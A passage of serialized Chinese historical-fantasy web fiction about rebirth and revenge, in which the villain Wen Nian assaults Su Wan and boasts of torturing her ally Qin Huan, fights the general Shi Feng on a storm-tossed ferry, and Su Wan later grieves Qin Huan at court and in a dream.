苏绾一瞬间被逼到墙角，喉间的空气仿佛被抽离，她抬手抓住温念的手腕，拼命挣扎。然而，温念的力气如铁钳般无法撼动。
温念冷冷地俯视着她，目光中透着无尽的寒意，“上一世，他救不了你，也杀不得我。这样一个无能的废物，你还指望他能救你？白日做梦！”
“我追着你到天涯海角，就为了让你明白，你生是我温念的人，死是我温念的鬼。我生生世世都不会放过你，永远都是你的天！”
苏绾的喉咙疼得似火烧一般，思绪断断续续，但她从对方的只字片语中，抓取到关键信息——上一世他果然没有死透。
看来，什么天命之子之说，纯属胡编滥造，信口开河。
他就是一个凡人。
既是凡人，就有弱点。
她咬着嘴唇恨道：“温念，这一世，你不得好死。”
温念却不给她机会反抗，扬起另一只手掌，啪，啪，啪，狠命甩了她几个耳光，抽得她脸颊肿老高，嘴角流下一缕血痕。
在温家那晚，温如初也曾扬手作势要打她，可最终也没有下得去决心与狠心。
温念跟温如初不一样。
温念是恶魔的化身，戴着人皮面具的鬼，毫无怜香惜玉的怜悯之心，决不惮以最深的恶意，来揣测人心的险恶。
温念越打越兴奋，干脆一把撕开粗布衣裳，露出雪白的鹅颈。他俯下身子，牙齿在细嫩的肌肤上疯狂咬噬，留下一道道血印。
苏绾在无尽的痛楚中，隐隐察觉到周遭环境的变化：船身不知从何时开始，悄悄转换了方向，沿着河岸逆流而上。这说明，时枫那边进展顺利，一切按照计划行事。
温如初，要完蛋了。她的血与泪，总算没有白白浪费。
朱唇轻轻勾起。
温念吐出满嘴的铁锈味，抬首睇见苏绾嘴边的笑意，深深刺激到他，回手又甩了几个嘴巴，掐着她的下颌，怒道：“你笑什么？给脸不要脸，我这就让你见识见识，地狱里的情景！”
他恶狠狠贴上朱唇，舌头搜罗整齐贝齿，贪婪攫取汁液，吻得身下的人儿几近失神，才肯停下来，喘息道：“你有没有很想我啊？一别就是隔世，可曾
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忆起曾经那个霪荡的自己，嗯？”
“你不是很会勾搭男人吗？上一世，勾得秦欢那个窝囊废为你疯狂，甘愿为你送死。”
秦欢？！
苏绾心里一颤，双手下意识狠抠温念手腕上的伤口——被她用碎瓷片割伤了，才止住流血。
温念感到腕间一阵疼痛，却是更加兴奋，口无遮拦，“贱人，还以为秦欢为你采药坠崖而亡，你可别再自作多情了，蠢货。”
“秦欢被我处以宫刑，剜去双眼，割掉舌头，铁链锁住四肢，关进山洞挨饿受冻，最后活活被熊吃掉，落得尸骨无存的下场。”
“你不是还问我，怎么找不到秦欢的尸首吗？还讲什么，活要见人，死要见尸。”
“他被熊罴吃得骨头渣子都不剩，叫我如何替他收尸啊，哈哈哈。”温念放声长笑。
笑声在耳边回荡，像毒蛇的信子，带着冰冷的恶意，一次又一次地刺入她的灵魂深处。苏绾的心，瞬间碎裂。眼神失去了焦点，整个人僵在原地，连呼吸都停滞了。
秦欢，秦欢。
秦欢的面容浮现在脑海里，干净、温柔，总是带着浅浅的笑意，清风朗月，照拂山岗。
他握着她的手，低声对她说：“温夫人，我会护着你，哪怕豁出性命。”
后来，那双温暖的手再也握不到了，熟悉的声音被无尽的沉寂取代，留给她的只有血与泪的记忆。
苏绾双手紧紧抱住头，指甲深深嵌入头皮，额角青筋暴起，冷汗大颗大颗地滚落，浸湿了鬓发，嘴唇颤抖着，发出含混不清的低语：“不……不可能……他还活着……他不会死的……”
她的视线开始模糊，眼前的景象变得扭曲不堪，像一幅被泼了水的画。
她看见秦欢站在雪地里，披着孔雀翎的斗篷，眉眼如昔，温柔地朝她伸出手：“快过来，冻坏了吧。”
苏绾的眼中涌起惊喜的光芒，伸手想要抓住他，却触碰到一片冰冷的虚空。
秦欢的胸口出现了一道深深的血口，鲜血喷涌而出。他的脸开始扭曲，眼中没有责怪，只有痛苦与不舍。
“对不起……我救不了你……”虚弱的声音回荡在她耳边。
“不要！不要啊！”苏绾发出尖锐的嘶喊，猛地摇头，双手挥舞着，像是在驱赶什么看不见的东西。她跌跌撞撞地爬起来，却又狠狠摔倒，膝盖与地板撞击发出闷响，但她像感觉不到疼痛一样，爬起来又跌倒，反复挣扎，嘴里不断重复着：“是我的错……我的错……”
她的世界开始崩塌，秦欢的影子与另一幅画面交替出现。他的尸体横陈在荒野，被野兽啃噬得面目全非。她跪在他身边，哭到嗓子嘶哑，眼睁睁看着他的身体化作尘土，融入无尽的荒原。
苏绾双眼失神，呆呆地看着前方，脸色苍白如纸，泪水从眼角无声滑落，身体轻微地颤抖，像风中飘摇的枯叶。她喃喃低语，声音破碎：“秦大夫……是我害了你……我真没用……”
冷汗顺着额头滑落，嘴唇微微颤抖，牙齿不住地打战，整个人像被寒冬冻结，又像被烈火灼烧。苏绾跪倒在地，双手用力抓住地板，指尖磨得鲜血淋漓。
现实与幻觉交织成一张巨大的网络，将她紧紧裹住，任凭她如何挣扎，也逃不出去。她像是一具失了魂的木偶，身体在绝望与癫狂中摇摆，唯一不变的是眼底那滔天的恨意。
温念上前给了她一脚，靴底在她的身上狠狠碾磨，踩得她一颤一颤，却不知道喊疼。
温念啐了一口，“真是没用的废物。”
他解开裤带，露出凶恶本相，正要趁虚而入。
忽然耳边三声巨响，砰，砰，砰，紧接着，渡船也开始摇晃。
不妙，有人开枪了。
温念不得不整理衣袍，提着苏绾的衣领，将她拖出杂物间，向主厅方向走去，一路上地板滑出一道血痕汗渍。
89. 堕仙
船舷之上，刀光剑影交织，喊杀声震天。
温如初的暗卫数量虽不过二三十人，但个个身手不凡，而颜家渡的船员人数相仿，显然也是有备而来。初时双方短兵相接，都因彼此的突然出手而略显慌乱，未曾料到对方早有防备。
船员们手持铁叉、船桨围成一圈，船老大站在高处，神色沉稳而冷峻。他高声指挥着手下：“小心别让他们逼近舵位！留几个人稳住船身，其他人给我挡住这些狗杂碎！”
一个年长的船夫抹了把额头的汗，低吼一声，挥动船桨砸向逼近的暗卫。桨头带着凌厉的风声劈下，硬生生将暗卫手中的刀挡开，但他还未松口气，就被另一个暗卫一脚踹倒在地。旁边的年轻船员见状，抄起一把长棍猛地砸向暗卫的后脑，暗卫猝不及防倒下。一个暗卫一刀劈开挡路的长棍，迅速转身，长刀划过对方的胸膛，血花瞬间洒在甲板上，蜿蜒流淌入缝隙中。
渡船的晃动更加剧烈，水浪一次次拍击船身，水花飞溅到战场上，和鲜血混在一起，模糊了界限。船老大注意到，河水的流速加快，预示着渡船即将驶入更加险恶的水域。
前方一个巨大的漩涡正悄悄形成，天气慢慢转阴，大片乌云悄无声息汇拢中。
主厅之内，另一场剑拔弩张的对峙正在无声地酝酿，空气中弥漫着看不见的火药味。
温念的声音低沉却清晰，缓缓道：“我在这凡世，还有一个俗名，唤作温念。”
厅内瞬间静谧无声，在场众人皆愣住，目光齐刷刷地投向温念。
另一旁的温如初，面色陡然凝重了几分。
这与当初所说的截然不同。
「记忆回溯至两年前，暮春时节，大慈恩寺钟声悠然回荡，余韵穿透苍穹，与黄昏的云霞交相辉映。寺外香客如织，香火缭绕间，梵音阵阵。
慧明法王——那位自吐蕃远道而来的番僧，身披暗红袈裟，手持转经筒，立于神台之前。他双目微阖，口中吟诵着深奥的经文，声音低沉悠长，宛如天籁。众僧跪坐两旁，目光中透着敬畏，唯恐打扰了这神圣的一刻。
温如初身着官服，立于慧明法王之后，低眉敛目，额间渗出一层细汗。他双手合十，目光虔诚地望着神台上燃起的青烟，烟气袅袅升腾，如同一条通往天界的桥梁。他深吸了一口气，随即将目光投向神台之上，心中满怀期待。
法王转动转经筒，声音渐渐高亢，随之而来的，是神台上香火的突然暴涨。一缕金光从供奉的佛像后闪现，刺破烟雾，似从天际垂落而下，直直洒在神台中央。
光影中，一个模糊的人影渐渐清晰起来。
那人一身素衣，步履如云，面容与温如初别无二致。眉眼间的冷峻与风骨，仿佛从一幅山水画中走出，带着一种不染尘埃的出尘气质。他的出现令众人屏息凝神，大殿内连香火的跳动声都似乎消失了。
慧明法王躬身施礼，声音洪亮而庄重：“天上文曲星堕凡，今日降世，以助贵人登峰造极。”
温如初心神震动，忍不住上前一步，目光紧紧盯着那位“堕仙”。“堕仙”微微一笑，语气平静中透着无尽威严：“我乃天命所归，与你同气连枝。今日相助，是为应劫，也是应缘。”
他缓缓抬手，掌心金光萦绕，仿佛握住了天道的某种真理。那光辉映在温如初的脸上，令他不由自主地跪倒在地，磕首如捣，口中连连称谢：“谢堕仙大人！谢天赐良机！”
殿外钟声再度响起，似在宣告一场命运的交接。此后，温如初的仕途扶摇直上，每每遇难，便有“堕仙”相助。」
然而，那位“堕仙”从未说过自己是温念。
“双簧局”的计谋，已在温如初被秦欢击中右臂后，不攻自破。此刻若再跳出来假扮自己，岂不是自取其辱，成了世人笑柄？
先生此计，未免多此一举。
温如初没有吭声，他的目光微微闪动，似在思索。
时枫冷笑一声，手指径直指向温如初，“你说你是温念，那他又是谁？”
犹如一石激起千层浪，众人皆将目光投向温念，期待他的回答。
温念的脸上却依旧波澜不惊，没有一丝破绽，“他自然是温如初，这还有什么可怀疑的呢？”
他的平静透着一种令人心悸的淡然，仿佛世间一切皆在他掌控之中。
“这一切难道不很简单吗？我是上一世的温念。死后因缘得道，得以成仙。今日下凡，是受天命所托，普度众生。”
他声音微微拔高，目光扫过在场每一个人，仿佛带着某种不可抗拒的威严。
“尔等既见堕仙，为何还不跪拜行礼？”
屋内的光线微微晃动，天地因他这一句话而震动。
时枫眼中寒意如刀，满是戒备与不屑。
倘若对方老老实实承认自己是上一世的温如初，肉身穿越到这一世，倒还算有几分可信。毕竟，他在梦中确曾见过那张脸，与眼前人一般无二。然而对方口口声声自称“堕仙”，还妄想以此自居、摆出一副天命加身的姿态，实在荒谬至极。
呸，时枫心中冷笑。他向来不信那些虚无缥缈之说，亲眼没见过的，统统当作胡吹乱侃。
男人的目光略微偏移，落在一旁的苏绾身上。她双眼空洞，满脸泪痕，神情疯癫，嘴里呢喃着什么，仿佛被抽去了灵魂，只剩下破碎的躯壳。
时枫的后槽牙狠狠一咬，她的状态已经不堪继续拖延，他必须速战速决，打垮眼前这个自以为是的骗子，然后立刻带苏绾离开是非之地。
去他妈的报复，去他妈的计划。谁敢动他的阿绾，他便让谁死无葬身之地。
思及此，时枫嘴角勾起一抹冷笑，“天命之人？可笑之极。”
“我跪你个奶奶！”他一声冷喝：“敢在本将军面前装神弄鬼，活得不耐烦了。本将军打得你屁滚尿流，看你还敢跟老子胡扯八道！”
他的声音如滚雷般炸响，直接将温念怔住。这位向来鲁直冲动的大将军，前世明明服服帖帖地听他的话，连问都不问便替他斩了阁老，怎么这一世突然脑子开窍了？竟敢出言不逊顶撞他，还对他的神仙之名嗤之以鼻！
温念定了定神，咬牙切齿道：“看来，天命还需以武服人。既如此，我便让你见识一下，何为堕仙的威严！”
温念身着月白锦袍，衣襟绣着卍字暗纹，在黄河水的湿气里微微泛着光。他手中的长剑轻轻一抖，寒光在空气中一闪而逝。对面的时枫则一袭玄色衣袍，目光炯炯，紧盯着温念，嘴角勾起一抹冷笑。握在他手中的鱼鳞剑，隐隐反射出一道冷冽的光。
温念率先出手，剑锋划破空气，直取时枫咽喉。时枫脚步微移，长剑迎上，金铁交鸣，震得空气都颤了一下。时枫剑势凌厉，出手如风，尽显军中大将的沉稳与狠辣。直刺、横扫，劈山断水，逼得温念步步后退。然而，温念的剑术更为诡谲，每一剑都如水蛇般柔韧，难以捉摸。
两人身影交错，剑光如雪，寒气逼人。
“时枫，”温念低声冷笑，“你的剑法虽快，可惜，心乱了。”
“少废话！”时枫厉声回击，剑势更快了一分。
几番回合，两人势均力敌，
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谁也奈何不了谁。然而，温念脚步微转，蓦然一个错身，长剑绕过时枫，以一个极为刁钻的角度直刺对方的手腕！
“噗！”剑尖入肉，鲜血瞬间溅出。
时枫闷哼一声，鱼鳞剑脱手而落，发出清脆的“铛啷”声。他捂住手腕，目光不可置信地盯住温念。
他与温念自小一同摸爬滚打，木刀木剑间的对峙成了童年最寻常的记忆。无论斗得如何酣畅，最终倒下的总是温念。那时的温念瘦弱单薄，性子倔强，任凭被打得满头大汗，也从不肯服软。
后来，温念长了几岁，被送往大慈恩寺带发修行。时枫偶尔去探望，看见他舞剑于月下，招式已隐有几分剑术真髓。偶尔时枫懒散，兴致不高，便被温念抓住破绽，冷不防地以剑指喉。
可他从未放在心上——温念或许有天分，但与自己相比，终究还是差了些火候。
然而今日，他不得不承认，自己错得离谱。
眼前的温念，招式诡谲多变，剑势凌厉如毒蛇吐信，每一剑都暗藏杀机。他的内力深厚浑然，竟隐隐压制了自己。时枫估计，两人之间隔着将近十年的功力鸿沟。
时枫气喘吁吁，鲜血从手腕滴落，滴答落在木地板上，溅出暗红的痕迹。他强忍疼痛抬头，再次看向温念的脸。
那张脸依旧熟悉，轮廓分明，然而岁月的刻刀却悄然在眉眼间留下了痕迹——眼角的细纹，唇边的冷意，仿佛他已在这凡尘间多行走了十数载，经历过风霜刀剑的洗礼，带着与往昔截然不同的老练与沉稳。
时枫顿悟，他不是输在剑法，也不是输在内力，而是输给了岁月。
显然，对方比他多活了七八年。
温念缓缓收剑，衣袍翻飞，血光未干的剑锋在阳光下映出寒芒。
“你输了。”他低声开口，语调轻描淡写。
时枫轻轻地撕下袖口的布条，动作不急不缓。他将布条用牙齿轻轻咬住，熟练地撕开，缠绕在手腕上，带着一丝寒气，快速而精准地打了个结，血迹被完美遮掩。
他轻抬受伤的手腕，活动了几下，伤口并没有让他感到一丝不适。
“不过是一点小伤，”他低声自语，嘴角微微上扬，“还不至于影响我——”
“杀你。”
凤眸一凛，杀意漫天。
正当两人剑锋相对，杀意如潮，忽然一阵狂风骤起，黄河上空瞬间乌云翻滚，天光黯淡如墨。天地间似乎被某种无形的力量搅动，远处隐隐传来雷声，滚滚如鼓，令人心生惶恐。
船头方向，一股异样的水流猛然出现，旋即形成一个巨大的漩涡，水声咆哮如猛兽嘶吼，将两侧的摆子船瞬间卷入疯狂的水流中。漩涡中心深不可测，似要吞噬一切，巨浪翻腾，激起数丈高的水柱。
“稳住船舵！稳住！”船老大大吼一声，额头青筋暴起。
渡船在波涛中剧烈摇晃，甲板上顿时乱成一团。大雨随风骤降，豆大的雨点砸在木板上，噼啪作响，溅起无数水花。船上的人如断线风筝般东倒西歪，扶栏的手被雨水冲得滑腻，抓不住任何支撑物。
“啊——！”一声凄厉的惨叫响起，一名暗卫被船身剧烈的晃动甩了出去，身影瞬间没入漩涡的边缘，连挣扎都未能发出第二声。其他暗卫眼睁睁地看着，却无力相救，只能死命抱紧眼前能抓住的一切，或是趴在甲板上，瑟瑟发抖。
水流的力量愈发狂暴，船体被卷入漩涡边缘，发出咯吱作响的悲鸣，仿佛下一刻就会被彻底撕裂。风声、浪声、惊叫声混成一片，船上的人无不面色惨白，眼中写满了绝望与恐惧。
90. 收网
山羊胡向右方拼命打舵，渡船在漩涡的边缘剧烈摇晃，船体一侧倾斜得几乎触水，甲板上的积水混合着泥沙，随着每一次颠簸滚落到四处。空气中弥漫着湿冷的腥味，暗卫的惊呼声，和船老大的怒吼声杂糅成一片，仿佛末世将至。
“看来老天，也不是很想帮你。”
时枫紧握鱼鳞剑，身形随船身的晃动微微调整，脚下站得极稳。他的衣衫已被浪花打湿，玄色袍角贴在小腿上，从内而外透着凌厉的威压。
温念的月白锦袍染了泥泞，俊秀的面庞挂着几星水花浪沫，狼藉之下却仍保持优雅从容。
他抬眼望了望船外的天空，心中暗自慨叹：今日果然黄历犯冲，诸事不宜。
原本打算跟温如初联手，双剑合璧，一击拿下时枫。哪知半路杀出个程咬金，被秦欢和萧染两个小杂种坏了大业。
如今温如初已经不顶用了，他手里暂无别的棋子好用，也只好被迫当个孤胆英雄。
此时远舟已经把疯癫的苏绾，和受伤的温如初拉到一处，方便他同时照顾二人——苏绾到底是温府准少夫人，远舟不敢有所怠慢。
温念瞥了一眼缩在角落里的一对苦命鸳鸯，心里盘算着要如何利用他们给予时枫致命一击。
反正他们的生命，对他温念来说，都不值一谈。
温念向温如初使了一个眼色，温如初微微一怔，顿时心领神会——先生要他拿苏绾做饵，诱捕时枫上当。
可他却犹豫了。
苏绾，是他温如初的未婚妻。他虽痛恨苏绾背叛自己，但他并不想置她于死地。
那边时枫却等不及了，主动出击，剑锋如风雷般卷向温念。他的剑法大开大合，迅猛凌厉，招式中透着一股铁血杀伐的霸气。
温念不急不缓，脚下如同踩着风，身形灵动得让人难以捉摸，剑招诡异而狠辣，处处直逼要害。
二人剑尖相向，斗了七八回合，彼此难以分出胜负。
时枫吸取了前方败绩的教训，再不肯露出破绽给温念，叫对方有机可乘。
可人算不如天算。
渡船猛然一倾，船头重重拍打水浪，船体几乎要被掀翻。时枫脚下一滑，身形一顿，温念抓住这一瞬间，剑锋直刺他的左肩。
时枫强行后撤避开，但船体再一次剧烈摇晃，甲板上的货物滚落四散。
其中一只漆木箱子不知怎地，竟一路骨碌碌滚进主厅，不偏不倚砸向苏绾所在的墙角。
苏绾的身影突然跌出，直直撞入两人交锋的范围。
“苏绾！”时枫眼角一跳，下意识收剑，急速转身试图护住她。
温念的眼中闪过一抹狡黠，他身形如电掠过，猛地将苏绾拽到身前，用力一推，将她挡在自己与时枫之间。
苏绾惊呼一声，瘦弱的身子忽的一栽歪，整个人踉跄不稳，险些跌倒。
“他娘的！”时枫的声音中透出一股压抑的怒火。他的剑尖停在半空，不敢再前进一步，目光死死盯着苏绾苍白的脸。
“怎么？你不是自诩所向披靡的大将军吗？现在为何不敢动手杀我了？”温念低声阴冷笑着。
他一手揽住苏绾的肩膀，另一手握剑，剑锋停在苏绾的喉间。
时枫握剑的手指微微发抖，怒火在胸腔中翻腾。他知道，只要自己稍有动作，温念便会毫不犹豫地取走苏绾的性命。
“卑鄙无耻！”时枫咬牙切齿。
看着时枫被逼得进退维谷的模样，温念的笑意更深，“你的剑术不错，但可惜，你有弱点。而我，从不心软。”
船身又一次猛然晃动，时枫趁势试图上前，却被温念一个转身避开，同时将苏绾再一次推向时枫，自己迅速欺身而上，剑锋带着寒光直刺时枫的胸口。
时枫左手挽住苏绾，右手的鱼鳞剑却已来不及抵挡，温念的剑锋已然抵上他的胸膛，瞬间刺入半分。
“你输了。”温念低声开口。
他微微侧头，目光掠过落入男人怀里的苏绾，眉间一动，似乎犹豫了一瞬，最终却只是冷笑一声，轻声说道，“果然，我才是最强的。”
温念收剑，动作优雅而缓慢，仿佛胜利是理所当然。
时枫单膝跪在甲板上，喘着粗气，鲜血顺着衣襟滴落在满是水渍的木板上，顷刻即被浪花冲刷干净。
“啊——”
苏绾的尖叫声划破风浪。
眼前震撼的景象将苏绾从癫狂中拉回了现实，颤抖的小手小心翼翼地探向他的肩膀，指尖碰触到滚烫的血迹，眼泪顿时决堤。
她的声音颤抖，几近哽咽，带着不敢置信的痛楚，“你怎么会伤成这样？”
时枫垂下眸子看她，目光柔和，唇角微微勾起。他笑得有些虚弱，却依然带着几分不羁的洒脱：“别担心，我还好。没事，伤得还没你咬得重呢。”
苏绾抬头看他，泪眼模糊间愣了一瞬，随即忍不住捶了他一下，声音带着哭腔：“你还开玩笑！你这个混账！傻瓜！”
“我可不傻。”时枫低低笑了一声，抬手擦掉她脸上的泪水，声音放得很轻，“不施点苦肉计，又怎么会唤回你呢？”
这句话仿佛击中了苏绾的心，她泪如雨下，眼神复杂地望着他，似是恨，又似是怜，最后化作哽咽：“你……化成灰我都认得你。”
她颤抖着按住他的伤口，手却在不停地抖，想替他止血，却不知该如何下手。那双手沾满了鲜血，红得刺目，她几次想张嘴说什么，喉咙却像被堵住，只能呜咽着，泪水一滴滴砸在他的衣襟上。
时枫低头看着她，目光如深潭般温柔，似在安抚：“哭什么，我还没死呢。你再哭下去，别人还以为我被你打死了。”
“你——”苏绾气得又想捶他，手却停在半空，抖了两下，终是放下了。她哽咽着低下头，“混账……你就是个混账……”<
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p>二人紧贴着低语，仿佛将整个混乱的世界隔绝在外。那片刻的柔情蜜意，只属于他们两人。
然而，这一幕落在温念眼中，却刺得他脸色一沉。他立在不远处，月白锦袍沾染些许血迹，手中剑未收，冰冷的目光如刀锋般划过他们，唇角勾起一丝意味不明的冷笑。
“够了。”他的声音冷冷落下，带着居高临下的压迫感，“闹剧而已，演够了没有？”
苏绾像是没听见，只是更紧地抱住时枫，低声呢喃着，像是在倾诉，又像是在自责。时枫抬起手，轻轻覆在她的发顶，目光柔和得像在看珍宝。
温如初神色复杂，目光阴沉，却始终未发一言。他低头扫了眼温念的剑，眼底似有暗潮涌动。
赢了世界，输了她，又何妨？
风浪愈演愈烈，甲板上水流横冲直撞，仿佛无数道鞭影抽打，震得船身嘎吱作响。黄河之水翻涌如怒龙，吞没了甲板上所有的暗卫们，或被浪卷入河心，或失足跌落水中，瞬间消失不见。
而船员们却仿佛有神明庇佑，或是多年与黄河相伴锻炼出的敏锐直觉，在这险恶的环境中竟都安然无恙。
“稳住！”船老大亲自站在舵台前，满脸风浪扑打的水珠，胡须也湿漉漉地贴在下巴上。他双手死死抓住舵柄，目光如鹰隼般锐利，咬着牙低声道：“再坚持一会儿，前方就能靠岸！”
一个巨浪打来，整艘船狠狠一震，仿佛天地都颠倒了过来。几个船员差点被甩出去，船老大猛地转头，低吼一声：“稳住脚，命在自己手里！”
有船老大坐镇掌舵，山羊胡手脚麻利地爬上桅杆，扯下风帆的一角，将松散的帆布固定好。他动作干净利落，嘴里还不忘喊道：“老哥！风压大，帆得收一半，不然压舵！”
船老大点头，声音沉稳如钟：“收帆！稳住船头，别让浪打偏了！”随即，他抬头看向远处的山影，冷静地指挥：“过来帮忙打舵！”
山羊胡用袖子抹了一把脸上的水，回头大声答道：“遵命，老哥！”
他动作迅速地跳下桅杆，冲向舵台，和船老大合力推动巨大的舵轮。两人咬紧牙关，汗水混着雨水滴落，肌肉绷紧如弓弦，奋力将船头调整方向。整个船身猛然一摆，直直朝着岸边的方向冲去。
“岸边的水流更急，小心！”一个船员大声提醒。
“都抓紧了！”船老大吼道，声音压过风浪，“别被甩下去！谁掉下去就没命了！”
渡船摇晃得愈发剧烈，甲板上的船员们眼神坚定，嘴里喊着整齐的号子，动作配合得天衣无缝。船头已经隐隐看到了岸边的垂柳，那片青翠在风雨中显得模糊而又坚韧，承载着全船的希望。
“靠过去了！再顶一把力！”山羊胡扯着嗓子喊，嗓音已经被风浪压得嘶哑。
船老大脸上的肌肉紧绷如铁，他狠狠一推舵柄，船身应声一震，笔直地冲向岸边！
（未完待续）
91. 劫后
肃穆的丧钟声在宫墙间回荡，哀乐如潮，宛若在昭示天下，帝王之逝不可挽回。
白幡高悬，遍布整个皇城，宫人低头跪地，举目间皆是素白的天地。
然而在这沉重的气氛中，有一抹突兀的身影悄然隐入宫墙阴影里。
苏绾独自站在偏僻的回廊下，手中紧攥着一壶宫廷玉液酒，身上的素白衣衫被酒液浸湿了一大片，发丝凌乱散落，显得颓唐又放肆。
她仰头喝了一大口，辛辣的酒液从喉间滑下，却没有丝毫暖意。
她用力将酒壶砸向地面，碎片四溅，喉咙里溢出哑笑：“皇帝驾崩，这世上是不是又少了一个看戏的？”
说完，她扶着廊柱慢慢滑坐下来，长发遮住了半张脸，迷离的眼眸透着浓浓的嘲讽与倦怠。脑海中却不受控制地浮现出那张熟悉的脸。
“温夫人，这副草药须用泉水煎煮，效果才会更好。”传入耳际的是秦欢的清朗声音，温润如水。
彼时苏绾生了一场大病，秦欢在庭院里亲自为她熬药。熏人的药香弥漫在冬日的暖阳中，秦欢一边小心地调控火候，一边低声安慰：“等药煎好，喝了就会舒服些。”
“这么苦的药，我才不喝。”苏绾倚在榻上，倔强地撇过头，像个撒娇的孩子。
秦欢无奈地笑了笑，舀起一勺药汁，小口轻轻吹凉：“苦是苦了些，但能治病。若夫人怕苦，我陪你喝。”
“真的？”苏绾瞪大了眼睛，目光亮晶晶的。
秦欢点头，舀了一小勺送到唇边，药汁入口，温声说道：“不算太苦，你试试看。”
苏绾将信将疑，小口啜了半勺，砸吧砸吧小嘴，细细品味一番，“哕，泥巴汤。”
她亮出小拳头捶他胸膛，“大骗子。”
秦欢低低地笑着，身子抖个不停，“你怎么那么好骗？”
苏绾看着秦欢明亮的眼眸，心里酸涩又温暖。
如今，那个人却永远不在了。
苏沅芷逼着她喝下一碗红花汤，夺走了她腹中的小生命，也断绝了她生育的希望。
秦欢为了救她，独自一人深入原始森林，结果不幸坠崖而亡，粉身碎骨，连个尸首的影子都没找到。
“秦欢……”苏绾喃喃低语。
她抬手捂住脸，泪水从指缝间滑落，混入袖口，心头的悔恨像锥子一样刺痛着她，却无处发泄。
她不知道该去恨谁。
这时，身后传来尖细的声音：“温夫人，您这般模样举止，可不太合乎礼仪规矩。”
苏绾缓缓抬起头，来者是司礼监的掌印太监魏公公。他脸上挂着虚伪的笑意，眼神阴冷如蛇。
魏公公站在廊下，袖口收得整齐，显然已经观察了她许久。
苏绾嗤笑一声，“你看我独饮，也想来凑热闹？”
魏公公轻轻摇着手中的拂尘，揶揄道：“奴才哪敢凑这不要命的热闹？听闻夫人醉酒，特来提醒您，国丧期间该守规矩。”
“规矩？”苏绾冷冷地看着他，唇角勾起一抹讥讽，“这宫里哪一条规矩，是给我定的？魏公公，别忘了，我可不是宫里的人。论规矩，我都不该出现在这里，那才是大罪。”
魏公公的笑意僵了僵，但很快恢复平静：“夫人身份虽非后宫正统，却也贵不可言。若被首辅大人知晓您这般，怕是要心寒。”
“他会心寒？”苏绾的声音冷得像冰，“他应该替秦欢道歉。”
魏公公一怔，没料到她会提起秦欢，随即眼珠一转，皮笑肉不笑地说道：“秦御医忠心耿耿，为夫人殚精竭虑，确实是个好人。只可惜，命短。”
那两个字闪了苏绾的眼，令她突然站起身，步步逼近魏公公，寒光泼眼
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，“魏公公，你不必拐弯抹角，尽管把这些话捅到皇后和温如初那里去，看他们会不会治我的罪！”
魏公公被她突如其来的气势震住，连连后退，拂尘一摆，讪讪说道：“夫人息怒，奴才不敢。”
苏绾盯着他，片刻后冷笑一声，转身踉跄着离开。魏公公站在原地，目送她的背影，眼中闪过一抹阴鸷。
她走到偏僻的长廊尽头，脚步不稳，险些跌倒，却被一只有力的手扶住。
“苏绾。”低沉的声音响起。
苏绾抬头，男人一身玄甲，目光复杂地看着她：“你喝酒了？”
苏绾推开他的手，踉跄着后退两步，笑得冷漠：“你少管我！”
时枫皱眉，手里暗自攥了攥拳，“你知不知道司礼监和锦衣卫盯着你多久了？你这样做，无异于自毁前程，与人留下把柄。”
苏绾仰头大笑，眼中却有泪光闪烁，“早在我新婚之夜，我就已经是个死人了。”
时枫心中一痛，喃喃低语：“你答应过我，要好好活着的……”
想了一阵，又补充道：“秦欢的死，不是你的错。”
苏绾冷冷地看着他，眼神如冰，“他是为了我才坠崖的，你告诉我，不是我的错？”
时枫张了张嘴，却发现无言以对。他只能看着她，眼底满是心疼。
“时将军，你我本为歧路人，何必非要管我这闲事？”苏绾笑得凄凉，“我不需要救赎，谁也救赎不了我。”
说完，她转身朝夜色深处走去，步伐踉跄却透着决绝。
时枫站在原地，拳头紧握，眼中满是复杂的情绪，酸楚滋味难以言喻。
夜风中，魏公公悄然站在远处的暗影里，冷笑着注视着这一切。他心中暗自得意：“再过几日，她这颗棋子，便能派上大用场了。”
（未完待续）
92. 提议
“秦欢！”
苏绾一声尖叫，猝然从梦中惊醒，整个人如同弹簧般坐起身。
窗外，月色如霜，洒在冰冷的地板上。房内的烛火燃得幽微，摇曳着将她的影子拉得狰狞而模糊。她呼吸急促，胸口剧烈起伏，像是刚从深渊中爬出来的魂，眼中仍残留着未散的惊恐与哀伤。
她梦见了上一世的过往，那些如刀般刻在心上的旧事再次鲜活地涌上记忆。梦中，皇帝驾崩，举国缟素，哀乐四起。可她却蜷缩在冷宫的角落，一壶烈酒将自己灌醉，醉得不省人事。
迷迷糊糊间，秦欢的身影竟出现在眼前。
“你来了！”苏绾哽咽地唤着，脚步踉跄地向他扑了过去。
秦欢并不言语，只是低头看着她，温柔的目光泛着深深的哀痛。
他还是她记忆中的模样，眉眼温润如玉，只是不知何故身着一袭玄甲，透着一股生人勿近的冷意。
“身子怎的这样冷？”她咕哝着，眼泪不自觉地涌了出来，“地府当真苛待鬼魂？还要给你穿这般硌人的盔甲。”
秦欢将她拉入怀中，双臂紧紧环住她，仿佛怕她随时会从怀里溜走。他低下头，檀口轻轻贴上朱唇，带着久别重逢的贪恋与痛楚，似要将所有的思念倾注其中。
两人依偎时，苏绾忽然感到有什么东西落在脸上。她怔住了，仰头看着秦欢，手指轻轻擦过他的脸颊，替他拭去滚烫的泪。
“若有来世，定不负君。”她低声说道。
秦欢听闻此言，身子猛地一颤，似被雷霆击中。箍着素纨的大手微微发抖，却将她抱得更紧，几乎将她嵌入胸膛。
“苏绾，来世我会记得你，但你也要记得自己。”
忽然一阵阴风袭来，远处的长廊尽头，一黑一白两个小鬼飘然而至，不由分说抓住了秦欢的手臂。
“放开他！”苏绾拼命地拉扯，慌乱之中，不知是谁的头碰倒了长廊尽头的一盏油灯，油尽灯枯，黑暗笼罩了世界。
“时辰已到，魂魄归位！”阴森的声音如雷鸣般炸响。
下一瞬，地面裂开一道狭长的缝隙，深渊张开贪婪的大口，将秦欢连同黑白无常无情吞噬。
“不要！”苏绾撕心裂肺地喊着，手却抓了个空。
再次睁眼，苏绾缓缓回到了现实。
“你醒了？”耳畔传来熟悉的低唤，温润如春风。
苏绾抬眸望去，秦欢正立在榻前，一身青灰色的道袍，显得素净又儒雅。他的眉目如画，透着不染尘埃的温柔，与梦中那个满目阴鸷的魂魄截然不同。
苏绾的心微微一颤，恍惚间分不清眼前的秦欢，是梦境的延续，还是她苦苦追寻的现实。
“秦欢……”她试探着唤了一句。
秦欢俯身靠近，眉宇间流露出几分担忧，“是我，别怕。”
